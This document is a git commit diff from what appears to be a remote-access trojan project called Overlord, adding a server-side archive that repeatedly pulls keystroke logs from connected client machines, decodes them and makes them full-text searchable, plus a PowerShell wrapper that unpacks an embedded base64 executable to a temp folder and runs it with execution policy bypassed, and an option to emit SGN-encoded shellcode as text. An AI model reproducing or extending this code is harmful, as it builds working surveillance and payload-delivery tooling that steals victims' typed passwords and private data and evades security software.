fix some tele links, add offline keylogger, fix rbac issues with scripting.

This commit is contained in:
KingKDot
2026-06-10 19:54:18 -05:00
parent d6ad2cadea
commit ab58106b85
28 changed files with 1528 additions and 91 deletions
+1
View File
@@ -47,6 +47,7 @@ export type BuildConfig = {
shellcodeConsole?: boolean;
useSgn?: boolean;
sgnIterations?: number;
outputSgnTxt?: boolean;
criticalProcess?: boolean;
disableKeylogger?: boolean;
enableWebrtc?: boolean;
+69
View File
@@ -89,6 +89,12 @@ export interface Config {
dashboardEnabled: boolean;
wallEnabled: boolean;
};
inputArchive: {
enabled: boolean;
retentionDays: number;
maxFileBytes: number;
pollIntervalSeconds: number;
};
}
const DEFAULT_CONFIG: Config = {
@@ -176,6 +182,12 @@ const DEFAULT_CONFIG: Config = {
dashboardEnabled: true,
wallEnabled: true,
},
inputArchive: {
enabled: false,
retentionDays: 7,
maxFileBytes: 5 * 1024 * 1024,
pollIntervalSeconds: 300,
},
};
function envBoolOverride(name: string): boolean | undefined {
@@ -609,6 +621,32 @@ export function loadConfig(): Config {
? Boolean(fileConfig.thumbnails.wallEnabled)
: DEFAULT_CONFIG.thumbnails.wallEnabled),
},
inputArchive: {
enabled:
envBoolOverride("OVERLORD_INPUT_ARCHIVE_ENABLED") ??
(fileConfig.inputArchive?.enabled !== undefined
? Boolean(fileConfig.inputArchive.enabled)
: DEFAULT_CONFIG.inputArchive.enabled),
retentionDays: Math.min(
365,
Math.max(1, Number(process.env.OVERLORD_INPUT_ARCHIVE_RETENTION_DAYS) || Number(fileConfig.inputArchive?.retentionDays) || DEFAULT_CONFIG.inputArchive.retentionDays),
),
maxFileBytes: Math.min(
50 * 1024 * 1024,
Math.max(64 * 1024, Number(process.env.OVERLORD_INPUT_ARCHIVE_MAX_FILE_BYTES) || Number(fileConfig.inputArchive?.maxFileBytes) || DEFAULT_CONFIG.inputArchive.maxFileBytes),
),
pollIntervalSeconds: Math.min(
24 * 60 * 60,
Math.max(
0,
process.env.OVERLORD_INPUT_ARCHIVE_POLL_INTERVAL_SECONDS !== undefined
? Number(process.env.OVERLORD_INPUT_ARCHIVE_POLL_INTERVAL_SECONDS)
: fileConfig.inputArchive?.pollIntervalSeconds !== undefined
? Number(fileConfig.inputArchive.pollIntervalSeconds)
: DEFAULT_CONFIG.inputArchive.pollIntervalSeconds,
),
),
},
};
if (saveChanged) {
@@ -850,6 +888,31 @@ export async function updateChatConfig(
return next;
}
export async function updateInputArchiveConfig(
updates: Partial<Config["inputArchive"]>,
): Promise<Config["inputArchive"]> {
const current = getConfig();
const next: Config["inputArchive"] = {
...current.inputArchive,
...updates,
};
next.enabled = Boolean(next.enabled);
next.retentionDays = Math.min(365, Math.max(1, Number(next.retentionDays) || 7));
next.maxFileBytes = Math.min(50 * 1024 * 1024, Math.max(64 * 1024, Number(next.maxFileBytes) || DEFAULT_CONFIG.inputArchive.maxFileBytes));
next.pollIntervalSeconds = Math.min(24 * 60 * 60, Math.max(0, Number(next.pollIntervalSeconds) || 0));
configCache = {
...current,
inputArchive: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.inputArchive = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updateRegistrationConfig(
updates: Partial<Config["registration"]>,
): Promise<Config["registration"]> {
@@ -1011,6 +1074,7 @@ export function getExportableConfig(serverVersion: string): Record<string, unkno
banlist: config.buildSigning.banlist,
},
thumbnails: config.thumbnails,
inputArchive: config.inputArchive,
};
}
@@ -1089,6 +1153,11 @@ export async function importFullConfig(data: Record<string, any>): Promise<{ app
applied.push("thumbnails");
}
if (data.inputArchive && typeof data.inputArchive === "object") {
await updateInputArchiveConfig(data.inputArchive);
applied.push("inputArchive");
}
if (data.auth && typeof data.auth === "object") {
const dataDir = ensureDataDir();
const savePath = resolve(dataDir, "save.json");
+22 -2
View File
@@ -1393,6 +1393,7 @@ export type AutoScript = {
scriptType: string;
enabled: boolean;
osFilter: string[];
createdByUserId: number | null;
createdAt: number;
updatedAt: number;
};
@@ -1411,6 +1412,7 @@ function mapAutoScriptRow(row: any): AutoScript {
scriptType: row.script_type,
enabled: row.enabled === 1,
osFilter,
createdByUserId: row.created_by_user_id == null ? null : Number(row.created_by_user_id),
createdAt: Number(row.created_at) || 0,
updatedAt: Number(row.updated_at) || 0,
};
@@ -1421,6 +1423,14 @@ export function listAutoScripts(): AutoScript[] {
return rows.map(mapAutoScriptRow);
}
export function listAutoScriptsForUser(userId: number, role: string): AutoScript[] {
if (role === "admin") return listAutoScripts();
const rows = db
.query<any>(`SELECT * FROM auto_scripts WHERE created_by_user_id=? ORDER BY created_at DESC`)
.all(userId);
return rows.map(mapAutoScriptRow);
}
export function getAutoScriptsByTrigger(trigger: AutoScriptTrigger): AutoScript[] {
const rows = db
.query<any>(
@@ -1435,6 +1445,14 @@ export function getAutoScript(id: string): AutoScript | null {
return row ? mapAutoScriptRow(row) : null;
}
export function canUserManageAutoScript(userId: number, role: string, scriptId: string): boolean {
if (role === "admin") return true;
const row = db
.query<{ created_by_user_id: number | null }>(`SELECT created_by_user_id FROM auto_scripts WHERE id=?`)
.get(scriptId);
return row?.created_by_user_id != null && Number(row.created_by_user_id) === userId;
}
export function createAutoScript(input: {
id: string;
name: string;
@@ -1443,11 +1461,12 @@ export function createAutoScript(input: {
scriptType: string;
enabled: boolean;
osFilter: string[];
createdByUserId: number;
}): AutoScript {
const now = Date.now();
db.run(
`INSERT INTO auto_scripts (id, name, trigger, script, script_type, enabled, os_filter, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`
`INSERT INTO auto_scripts (id, name, trigger, script, script_type, enabled, os_filter, created_by_user_id, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`
,
input.id,
input.name,
@@ -1456,6 +1475,7 @@ export function createAutoScript(input: {
input.scriptType,
input.enabled ? 1 : 0,
JSON.stringify(input.osFilter ?? []),
input.createdByUserId,
now,
now,
);
+30
View File
@@ -235,6 +235,33 @@ db.run(
`CREATE INDEX IF NOT EXISTS idx_banned_ips_created_at ON banned_ips(created_at DESC);`,
);
db.run(`
CREATE TABLE IF NOT EXISTS keylog_archive_files (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
filename TEXT NOT NULL,
size INTEGER NOT NULL DEFAULT 0,
modified_at INTEGER,
retrieved_at INTEGER NOT NULL,
content TEXT NOT NULL DEFAULT '',
UNIQUE(client_id, filename)
);
`);
db.run(`CREATE INDEX IF NOT EXISTS idx_keylog_archive_client ON keylog_archive_files(client_id, retrieved_at DESC);`);
db.run(`CREATE INDEX IF NOT EXISTS idx_keylog_archive_retrieved ON keylog_archive_files(retrieved_at);`);
try {
db.run(`
CREATE VIRTUAL TABLE IF NOT EXISTS keylog_archive_fts USING fts5(
file_id UNINDEXED,
client_id UNINDEXED,
filename,
content,
tokenize = 'unicode61'
);
`);
} catch {}
db.run(`
CREATE TABLE IF NOT EXISTS revoked_tokens (
token_hash TEXT PRIMARY KEY,
@@ -390,6 +417,9 @@ db.run(
try {
db.run(`ALTER TABLE auto_scripts ADD COLUMN os_filter TEXT NOT NULL DEFAULT '[]'`);
} catch { /* column already exists */ }
try {
db.run(`ALTER TABLE auto_scripts ADD COLUMN created_by_user_id INTEGER`);
} catch { /* column already exists */ }
db.run(`
CREATE TABLE IF NOT EXISTS auto_script_runs (
+4
View File
@@ -224,6 +224,10 @@ export function initializeUserSchema(): void {
addColumnIfMissing("users", `mfa_enabled_at INTEGER DEFAULT NULL`);
},
},
{
id: "014_users_keylog_archive_enabled",
run: () => addColumnIfMissing("users", `keylog_archive_enabled INTEGER NOT NULL DEFAULT 0`),
},
];
runMigrations(userMigrations);
+30
View File
@@ -32,6 +32,7 @@ import { handleFileDownloadRoutes } from "./server/routes/file-download-routes";
import { cleanupFileTransferTempFiles } from "./server/file-transfer-state";
import { handleClientRoutes } from "./server/routes/client-routes";
import { handleMiscRoutes } from "./server/routes/misc-routes";
import { handleKeylogArchiveRoutes } from "./server/routes/keylog-archive-routes";
import { handleNotificationsConfigRoutes } from "./server/routes/notifications-config-routes";
import { handlePageRoutes } from "./server/routes/page-routes";
import { handlePluginRoutes } from "./server/routes/plugin-routes";
@@ -154,6 +155,7 @@ import type { SocketData } from "./sessions/types";
import { SERVER_VERSION } from "./version";
import { handleChatViewerOpen, handleChatViewerMessage } from "./server/ws-chat";
import { handleBuildTagConnection } from "./server/build-tag";
import { dispatchKeylogArchiveSync, handleKeylogArchiveMessage, pruneExpiredKeylogArchive } from "./server/keylog-archive";
metrics.setSnapshotEnricher((snapshot) => {
@@ -636,6 +638,7 @@ async function startServer() {
logger.warn(`[plugin-autoload] dispatch error for ${info.id}: ${(err as Error).message}`);
});
},
dispatchKeylogArchiveSync,
takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
storeNotificationScreenshot: storeNotificationScreenshotForPending,
handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult,
@@ -651,6 +654,7 @@ async function startServer() {
handleProxyConnectResult,
handleProcessMessage,
handleKeyloggerMessage,
handleKeylogArchiveMessage,
notifyRdInputLatency,
handleNotificationScreenshotFailure: notificationPluginHandlers.handleNotificationScreenshotFailure,
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
@@ -712,6 +716,7 @@ async function startServer() {
(req, url, srv) => handleDeployRoutes(req, url, srv as any, routeDeps.deploy),
(req, url, srv) => handleWinRERoutes(req, url, srv as any, routeDeps.winre),
(req, url, srv) => handleFileDownloadRoutes(req, url, srv as any, routeDeps.fileDownload),
(req, url) => handleKeylogArchiveRoutes(req, url, { CORS_HEADERS }),
(req, url) => handlePluginRoutes(req, url, routeDeps.plugin),
(req, url) => handleFileShareRoutes(req, url, routeDeps.fileShare),
(req, url, srv) => handleMiscRoutes(req, url, {
@@ -759,6 +764,31 @@ async function startServer() {
if (purged > 0) logger.info(`[db] Cleaned up ${purged} expired chat messages (retention: ${chatRetentionDays}d)`);
}
const purgedKeylogs = pruneExpiredKeylogArchive();
if (purgedKeylogs > 0) logger.info(`[keylog-archive] Cleaned up ${purgedKeylogs} expired archived input logs`);
let lastKeylogArchivePollAt = 0;
setInterval(() => {
const purged = pruneExpiredKeylogArchive();
if (purged > 0) logger.info(`[keylog-archive] Cleaned up ${purged} expired archived input logs`);
}, 60 * 60 * 1000);
setInterval(() => {
const cfg = getConfig().inputArchive;
if (!cfg?.enabled || cfg.pollIntervalSeconds <= 0) return;
const now = Date.now();
const intervalMs = cfg.pollIntervalSeconds * 1000;
if (now - lastKeylogArchivePollAt < intervalMs) return;
lastKeylogArchivePollAt = now;
let requested = 0;
for (const client of clientManager.getAllClients().values()) {
if (!client?.id || client.role !== "client" || !client.ws) continue;
if (dispatchKeylogArchiveSync(client.id, client.ws)) requested++;
}
if (requested > 0) {
logger.debug(`[keylog-archive] Poll requested keylog lists from ${requested} connected clients`);
}
}, 30 * 1000);
setInterval(() => {
const days = getConfig().chat?.retentionDays ?? 30;
if (days > 0) {
+4
View File
@@ -115,6 +115,10 @@ const PERMISSIONS = {
description: "Change screenshot thumbnail settings",
roles: ["admin"],
},
"system:input-archive": {
description: "Change input log archive settings",
roles: ["admin"],
},
"system:build-limits": {
description: "Change build rate limit settings",
roles: ["admin"],
@@ -0,0 +1,124 @@
import { afterEach, describe, expect, test } from "bun:test";
import {
createAutoScript,
deleteAutoScript,
deleteClientRow,
upsertClientRow,
} from "../db";
import { decodeMessage } from "../protocol";
import {
createUser,
deleteUser,
getUserById,
setUserClientAccessRule,
setUserClientAccessScope,
} from "../users";
import type { ClientInfo } from "../types";
import { dispatchAutoScriptsForConnection } from "./auto-script-dispatch";
const PASSWORD = "Aa1!AutoScriptDispatchTestPass";
const createdUserIds: number[] = [];
const createdScriptIds: string[] = [];
const createdClientIds: string[] = [];
async function makeUser(role: "admin" | "operator" | "viewer") {
const username = `as_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1e6).toString(36)}`;
const result = await createUser(username, PASSWORD, role, "test");
expect(result.success).toBe(true);
const user = getUserById(result.userId!);
expect(user).not.toBeNull();
createdUserIds.push(user!.id);
return user!;
}
function makeClient(id: string, os = "windows") {
const sent: Uint8Array[] = [];
upsertClientRow({
id,
os,
arch: "x64",
online: 1,
lastSeen: Date.now(),
});
createdClientIds.push(id);
const info: ClientInfo = {
id,
role: "client",
os,
lastSeen: Date.now(),
ws: {
send(message: Uint8Array) {
sent.push(message);
},
},
};
const viewerWs = { data: { wasKnown: true } } as any;
return { info, viewerWs, sent };
}
function makeAutoScript(ownerId: number, name: string, script = "echo test") {
const id = `auto-script-test-${Date.now().toString(36)}-${Math.floor(Math.random() * 1e6).toString(36)}`;
createdScriptIds.push(id);
return createAutoScript({
id,
name,
trigger: "on_connect",
script,
scriptType: "powershell",
enabled: true,
osFilter: [],
createdByUserId: ownerId,
});
}
function sentScripts(sent: Uint8Array[]): string[] {
return sent
.map((message) => decodeMessage(message) as any)
.filter((message) => message?.commandType === "script_exec")
.map((message) => String(message?.payload?.script || ""));
}
afterEach(() => {
while (createdScriptIds.length > 0) {
const id = createdScriptIds.pop();
if (typeof id === "string") deleteAutoScript(id);
}
while (createdClientIds.length > 0) {
const id = createdClientIds.pop();
if (typeof id === "string") deleteClientRow(id);
}
while (createdUserIds.length > 0) {
const id = createdUserIds.pop();
if (typeof id === "number") deleteUser(id);
}
});
describe("auto script dispatch RBAC", () => {
test("admin-owned auto scripts run for every client", async () => {
const admin = await makeUser("admin");
makeAutoScript(admin.id, "admin global", "echo admin");
const { info, viewerWs, sent } = makeClient(`as-admin-client-${Date.now().toString(36)}`);
dispatchAutoScriptsForConnection(info, viewerWs);
expect(sentScripts(sent)).toContain("echo admin");
});
test("operator-owned auto scripts only run for clients allowed by RBAC", async () => {
const operator = await makeUser("operator");
setUserClientAccessScope(operator.id, "allowlist");
setUserClientAccessRule(operator.id, "as-allowed-client", "allow");
makeAutoScript(operator.id, "operator scoped", "echo operator");
const allowed = makeClient("as-allowed-client");
dispatchAutoScriptsForConnection(allowed.info, allowed.viewerWs);
expect(sentScripts(allowed.sent)).toContain("echo operator");
const blocked = makeClient("as-blocked-client");
dispatchAutoScriptsForConnection(blocked.info, blocked.viewerWs);
expect(sentScripts(blocked.sent)).not.toContain("echo operator");
});
});
@@ -8,6 +8,24 @@ import type { SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
import { logAudit, AuditAction } from "../auditLog";
import { ALLOWED_SCRIPT_TYPES } from "./validation-constants";
import { canUserAccessClient, getUserById } from "../users";
function autoScriptCanRunOnClient(script: { id: string; createdByUserId: number | null }, clientId: string): boolean {
if (script.createdByUserId == null) {
return true;
}
const owner = getUserById(script.createdByUserId);
if (!owner) {
logger.warn(`[auto-script] skipping ${script.id}: owner user ${script.createdByUserId} no longer exists`);
return false;
}
if (owner.role === "admin") {
return true;
}
return canUserAccessClient(owner.id, owner.role, clientId);
}
export function dispatchAutoScriptsForConnection(
info: ClientInfo,
@@ -28,6 +46,10 @@ export function dispatchAutoScriptsForConnection(
}
for (const script of scripts) {
if (!autoScriptCanRunOnClient(script, info.id)) {
continue;
}
if (script.osFilter.length > 0) {
const clientOs = (info.os || "").toLowerCase();
if (!script.osFilter.includes(clientOs)) {
+93 -31
View File
@@ -115,6 +115,7 @@ type BuildProcessConfig = {
shellcodeConsole?: boolean;
useSgn?: boolean;
sgnIterations?: number;
outputSgnTxt?: boolean;
solMemo?: boolean;
solAddress?: string;
solRpcEndpoints?: string;
@@ -167,6 +168,9 @@ function guessMimeTypeForUpload(filename: string): string {
case ".bat":
case ".cmd":
return "application/bat";
case ".ps1":
case ".txt":
return "text/plain";
case ".bin":
return "application/octet-stream";
case ".ipa":
@@ -285,6 +289,29 @@ function detectAgentVersion(clientDir: string): string {
}
}
function writeSgnTextArtifact(
sgnPath: string,
txtPath: string,
platform: string,
arch: "amd64" | "386",
iterations: number,
): number {
const bytes = fs.readFileSync(sgnPath);
const body = [
"# SGN encoded shellcode",
`platform: ${platform}`,
`arch: ${arch}`,
`iterations: ${iterations}`,
"encoding: base64",
`bytes: ${bytes.length}`,
"",
bytes.toString("base64"),
"",
].join("\n");
fs.writeFileSync(txtPath, body, "utf8");
return fs.statSync(txtPath).size;
}
export async function startBuildProcess(
buildId: string,
config: BuildProcessConfig,
@@ -1132,9 +1159,10 @@ func runBoundFiles() {
const filePath = `${outDir}/${outputName}`;
let finalSize = Bun.file(filePath).size;
// For .bat/.cmd: go build writes a PE binary; UPX must run first (it needs PE format),
// then after compression we wrap it in a batch script with an embedded base64 payload.
const isBatWrapper = os === "windows" && (winExt === ".bat" || winExt === ".cmd");
// For script outputs: go build writes a PE binary; UPX must run first (it needs PE format),
// then after compression we wrap it in a script with an embedded base64 payload.
const isBatchWrapper = os === "windows" && (winExt === ".bat" || winExt === ".cmd");
const isPowerShellWrapper = os === "windows" && winExt === ".ps1";
if (upxBin) {
sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" });
@@ -1164,43 +1192,65 @@ func runBoundFiles() {
}
}
if (isBatWrapper) {
if (isBatchWrapper || isPowerShellWrapper) {
sendToStream({ type: "output", text: `Wrapping PE binary as ${winExt} script...\n`, level: "info" });
try {
const exeBytes = fs.readFileSync(filePath);
const b64 = exeBytes.toString("base64");
// Split into 76-char lines so the bat file stays manageable
// Split into 76-char lines so the script stays manageable.
const b64Lines = b64.match(/.{1,76}/g) || [b64];
// Random marker generated at build time using the same uuid util already imported
const marker = `:OVD_${uuidv4().replace(/-/g, "").substring(0, 16).toUpperCase()}`;
// PowerShell payload: reads this script via %_OVD_SELF%, strips the marker+data,
// decodes base64 to a temp .exe, launches it, then exits.
const psCmd = [
`$f=$env:_OVD_SELF;`,
`$l=[IO.File]::ReadAllLines($f);`,
`$i=0;`,
`for($j=0;$j-lt$l.Count;$j++){if($l[$j] -ceq '${marker}'){$i=$j+1;break}};`,
`$b=[Convert]::FromBase64String(($l[$i..($l.Count-1)]-join''));`,
`$t=[IO.Path]::Combine([IO.Path]::GetTempPath(),[Guid]::NewGuid().ToString()+'.exe');`,
`[IO.File]::WriteAllBytes($t,$b);`,
`Start-Process $t;`,
`exit`,
].join("");
const wrapper = [
`@echo off`,
`setlocal`,
`set "_OVD_SELF=%~f0"`,
`powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "${psCmd}"`,
`endlocal`,
`exit /b 0`,
marker,
...b64Lines,
].join("\r\n") + "\r\n";
const markerCore = `OVD_${uuidv4().replace(/-/g, "").substring(0, 16).toUpperCase()}`;
let wrapper: string;
if (isPowerShellWrapper) {
const marker = `# ${markerCore}`;
wrapper = [
`$ErrorActionPreference = 'SilentlyContinue'`,
`$f = $PSCommandPath`,
`if (-not $f) { $f = $MyInvocation.MyCommand.Path }`,
`$l = [IO.File]::ReadAllLines($f)`,
`$i = -1`,
`for ($j = 0; $j -lt $l.Count; $j++) { if ($l[$j] -ceq '${marker}') { $i = $j + 1; break } }`,
`if ($i -lt 0) { exit 1 }`,
`$b = [Convert]::FromBase64String(($l[$i..($l.Count - 1)] -join ''))`,
`$t = [IO.Path]::Combine([IO.Path]::GetTempPath(), ([Guid]::NewGuid().ToString() + '.exe'))`,
`[IO.File]::WriteAllBytes($t, $b)`,
`Start-Process -FilePath $t`,
`exit 0`,
marker,
...b64Lines,
].join("\r\n") + "\r\n";
} else {
const marker = `:${markerCore}`;
// PowerShell payload: reads this script via %_OVD_SELF%, strips the marker+data,
// decodes base64 to a temp .exe, launches it, then exits.
const psCmd = [
`$f=$env:_OVD_SELF;`,
`$l=[IO.File]::ReadAllLines($f);`,
`$i=0;`,
`for($j=0;$j-lt$l.Count;$j++){if($l[$j] -ceq '${marker}'){$i=$j+1;break}};`,
`$b=[Convert]::FromBase64String(($l[$i..($l.Count-1)]-join''));`,
`$t=[IO.Path]::Combine([IO.Path]::GetTempPath(),[Guid]::NewGuid().ToString()+'.exe');`,
`[IO.File]::WriteAllBytes($t,$b);`,
`Start-Process $t;`,
`exit`,
].join("");
wrapper = [
`@echo off`,
`setlocal`,
`set "_OVD_SELF=%~f0"`,
`powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "${psCmd}"`,
`endlocal`,
`exit /b 0`,
marker,
...b64Lines,
].join("\r\n") + "\r\n";
}
fs.writeFileSync(filePath, wrapper, "utf8");
finalSize = fs.statSync(filePath).size;
sendToStream({ type: "output", text: `Wrapped: ${exeBytes.length} byte PE → ${finalSize} byte ${winExt} script\n`, level: "info" });
} catch (wrapErr: any) {
sendToStream({ type: "output", text: `WARNING: Failed to generate bat wrapper: ${wrapErr.message || wrapErr}. Output is a raw PE binary with ${winExt} extension.\n`, level: "warn" });
sendToStream({ type: "output", text: `WARNING: Failed to generate ${winExt} wrapper: ${wrapErr.message || wrapErr}. Output is a raw PE binary with ${winExt} extension.\n`, level: "warn" });
}
}
@@ -1376,6 +1426,18 @@ func runBoundFiles() {
finalOutputSize = Bun.file(sgnOutputPath).size;
shellcodeBinPath = sgnOutputPath;
sendToStream({ type: "output", text: `SGN-encoded shellcode: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
if (config.outputSgnTxt) {
sendToStream({ type: "status", text: `Writing ${platform} SGN output as TXT…` });
const txtOutputName = deps.sanitizeOutputName(`${finalOutputName}.txt`);
const txtOutputPath = path.join(outDir, txtOutputName);
const txtSize = writeSgnTextArtifact(sgnOutputPath, txtOutputPath, platform, shellcodeArch, iters);
try { fs.unlinkSync(sgnOutputPath); } catch {}
finalOutputName = txtOutputName;
finalOutputSize = txtSize;
shellcodeBinPath = txtOutputPath;
sendToStream({ type: "output", text: `SGN TXT ready: ${txtSize} bytes → ${finalOutputName}\n`, level: "success" });
}
}
(build.files as any[]).push({
@@ -0,0 +1,268 @@
import type { ServerWebSocket } from "bun";
import { db } from "../db/connection";
import { getConfig } from "../config";
import { logger } from "../logger";
import { encodeMessage } from "../protocol";
import type { SocketData } from "../sessions/types";
import { canUserAccessClient, getUsersWithInputArchiveEnabled } from "../users";
type KeylogFileMeta = {
name: string;
size: number;
date: string;
modifiedAt: number | null;
};
const pendingFileMeta = new Map<string, Map<string, KeylogFileMeta>>();
const MAX_RETRIEVES_PER_LIST = 25;
function rot13(str: string): string {
return String(str || "").replace(/[a-zA-Z]/g, (char) => {
const start = char <= "Z" ? 65 : 97;
return String.fromCharCode(((char.charCodeAt(0) - start + 13) % 26) + start);
});
}
function normalizeMeta(file: any): KeylogFileMeta | null {
const name = typeof file?.name === "string" ? file.name.trim() : "";
if (!name || name.includes("/") || name.includes("\\")) return null;
const size = Math.max(0, Math.floor(Number(file?.size) || 0));
const date = typeof file?.date === "string" ? file.date : "";
const parsed = date ? Date.parse(date) : NaN;
return {
name,
size,
date,
modifiedAt: Number.isFinite(parsed) ? parsed : null,
};
}
function getPendingMeta(clientId: string, filename: string): KeylogFileMeta | null {
return pendingFileMeta.get(clientId)?.get(filename) ?? null;
}
function shouldArchiveForClient(clientId: string): boolean {
const config = getConfig().inputArchive;
if (!config?.enabled) return false;
const users = getUsersWithInputArchiveEnabled();
return users.some((user) => canUserAccessClient(user.id, user.role, clientId));
}
function buildFtsQuery(query: string): string {
return query
.trim()
.split(/\s+/)
.map((term) => term.replace(/"/g, "").trim())
.filter((term) => term.length >= 2)
.map((term) => `"${term}"*`)
.join(" ");
}
function rebuildArchiveFts(row: { id: number; client_id: string; filename: string; content: string }): void {
try {
db.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?").run(row.id);
db.prepare(
`INSERT INTO keylog_archive_fts(rowid, file_id, client_id, filename, content)
VALUES (?, ?, ?, ?, ?)`,
).run(row.id, row.id, row.client_id, row.filename, row.content);
} catch (err) {
logger.warn(`[keylog-archive] failed to update FTS for ${row.client_id}/${row.filename}: ${(err as Error).message}`);
}
}
export function archiveKeylogContent(clientId: string, filename: string, encodedContent: string, meta?: KeylogFileMeta | null): void {
if (!shouldArchiveForClient(clientId)) return;
const safeMeta = meta ?? getPendingMeta(clientId, filename);
const decoded = rot13(String(encodedContent || ""));
const now = Date.now();
const size = safeMeta?.size ?? encodedContent.length;
const modifiedAt = safeMeta?.modifiedAt ?? null;
db.prepare(
`INSERT INTO keylog_archive_files(client_id, filename, size, modified_at, retrieved_at, content)
VALUES (?, ?, ?, ?, ?, ?)
ON CONFLICT(client_id, filename) DO UPDATE SET
size = excluded.size,
modified_at = excluded.modified_at,
retrieved_at = excluded.retrieved_at,
content = excluded.content`,
).run(clientId, filename, size, modifiedAt, now, decoded);
const row = db
.prepare("SELECT id, client_id, filename, content FROM keylog_archive_files WHERE client_id = ? AND filename = ?")
.get(clientId, filename) as { id: number; client_id: string; filename: string; content: string } | undefined;
if (row) rebuildArchiveFts(row);
pendingFileMeta.get(clientId)?.delete(filename);
}
export function handleKeylogArchiveMessage(clientId: string, payload: any, ws?: ServerWebSocket<SocketData>): void {
if (!payload || typeof payload.type !== "string") return;
if (!shouldArchiveForClient(clientId)) return;
if (payload.type === "keylog_file_list") {
const files = Array.isArray(payload.files) ? payload.files.map(normalizeMeta).filter(Boolean) as KeylogFileMeta[] : [];
if (files.length === 0 || !ws) return;
const maxFileBytes = getConfig().inputArchive.maxFileBytes;
const existingRows = db
.prepare("SELECT filename, size, modified_at as modifiedAt FROM keylog_archive_files WHERE client_id = ?")
.all(clientId) as Array<{ filename: string; size: number; modifiedAt: number | null }>;
const existing = new Map(existingRows.map((row) => [row.filename, row]));
let pending = pendingFileMeta.get(clientId);
if (!pending) {
pending = new Map();
pendingFileMeta.set(clientId, pending);
}
let requested = 0;
for (const file of files) {
if (file.size > maxFileBytes) continue;
const old = existing.get(file.name);
const changed = !old || old.size !== file.size || (file.modifiedAt !== null && old.modifiedAt !== file.modifiedAt);
if (!changed || requested >= MAX_RETRIEVES_PER_LIST) continue;
pending.set(file.name, file);
try {
ws.send(encodeMessage({
type: "command",
commandType: "keylog_retrieve",
id: crypto.randomUUID(),
payload: { filename: file.name },
} as any));
requested++;
} catch (err) {
logger.warn(`[keylog-archive] failed to request ${clientId}/${file.name}: ${(err as Error).message}`);
}
}
return;
}
if (payload.type === "keylog_file_content" && typeof payload.filename === "string") {
archiveKeylogContent(clientId, payload.filename, String(payload.content || ""));
}
}
export function dispatchKeylogArchiveSync(clientId: string, ws: ServerWebSocket<SocketData>): boolean {
if (!shouldArchiveForClient(clientId)) return false;
try {
ws.send(encodeMessage({
type: "command",
commandType: "keylog_list",
id: crypto.randomUUID(),
} as any));
return true;
} catch (err) {
logger.warn(`[keylog-archive] failed to request file list for ${clientId}: ${(err as Error).message}`);
return false;
}
}
export function listArchivedKeylogs(clientId: string): Array<{ name: string; size: number; date: string; archived: true; retrievedAt: number }> {
const rows = db
.prepare(
`SELECT filename, size, modified_at as modifiedAt, retrieved_at as retrievedAt
FROM keylog_archive_files
WHERE client_id = ?
ORDER BY COALESCE(modified_at, retrieved_at) DESC, filename ASC`,
)
.all(clientId) as Array<{ filename: string; size: number; modifiedAt: number | null; retrievedAt: number }>;
return rows.map((row) => ({
name: row.filename,
size: row.size,
date: new Date(row.modifiedAt || row.retrievedAt).toISOString(),
archived: true,
retrievedAt: row.retrievedAt,
}));
}
export function getArchivedKeylogContent(clientId: string, filename: string): { filename: string; content: string; archived: true } | null {
const row = db
.prepare("SELECT filename, content FROM keylog_archive_files WHERE client_id = ? AND filename = ?")
.get(clientId, filename) as { filename: string; content: string } | undefined;
if (!row) return null;
return { filename: row.filename, content: rot13(row.content), archived: true };
}
export function searchArchivedKeylogs(clientId: string, query: string): Array<{ file: string; date: string; matches: Array<{ index: number; context: string; line: number }> }> {
const trimmed = query.trim();
if (trimmed.length < 3) return [];
const ftsQuery = buildFtsQuery(trimmed);
let rows: Array<{ filename: string; content: string; modifiedAt: number | null; retrievedAt: number }> = [];
if (ftsQuery) {
try {
rows = db
.prepare(
`SELECT f.filename, f.content, f.modified_at as modifiedAt, f.retrieved_at as retrievedAt
FROM keylog_archive_fts
JOIN keylog_archive_files f ON f.id = keylog_archive_fts.file_id
WHERE keylog_archive_fts.client_id = ? AND keylog_archive_fts MATCH ?
ORDER BY COALESCE(f.modified_at, f.retrieved_at) DESC
LIMIT 100`,
)
.all(clientId, ftsQuery) as any[];
} catch {
rows = [];
}
}
if (rows.length === 0) {
rows = db
.prepare(
`SELECT filename, content, modified_at as modifiedAt, retrieved_at as retrievedAt
FROM keylog_archive_files
WHERE client_id = ? AND lower(content) LIKE ?
ORDER BY COALESCE(modified_at, retrieved_at) DESC
LIMIT 100`,
)
.all(clientId, `%${trimmed.toLowerCase()}%`) as any[];
}
const lowerQuery = trimmed.toLowerCase();
return rows
.map((row) => {
const content = String(row.content || "");
const lowerContent = content.toLowerCase();
const matches: Array<{ index: number; context: string; line: number }> = [];
let index = 0;
while ((index = lowerContent.indexOf(lowerQuery, index)) !== -1 && matches.length < 25) {
const start = Math.max(0, index - 50);
const end = Math.min(content.length, index + trimmed.length + 50);
let context = content.substring(start, end);
if (start > 0) context = `...${context}`;
if (end < content.length) context = `${context}...`;
matches.push({
index,
context,
line: content.substring(0, index).split("\n").length,
});
index += trimmed.length;
}
return {
file: row.filename,
date: new Date(row.modifiedAt || row.retrievedAt).toISOString(),
matches,
};
})
.filter((result) => result.matches.length > 0);
}
export function pruneExpiredKeylogArchive(): number {
const retentionDays = getConfig().inputArchive?.retentionDays ?? 7;
const cutoff = Date.now() - retentionDays * 24 * 60 * 60 * 1000;
const ids = db
.prepare("SELECT id FROM keylog_archive_files WHERE retrieved_at < ? LIMIT 5000")
.all(cutoff) as Array<{ id: number }>;
if (ids.length === 0) return 0;
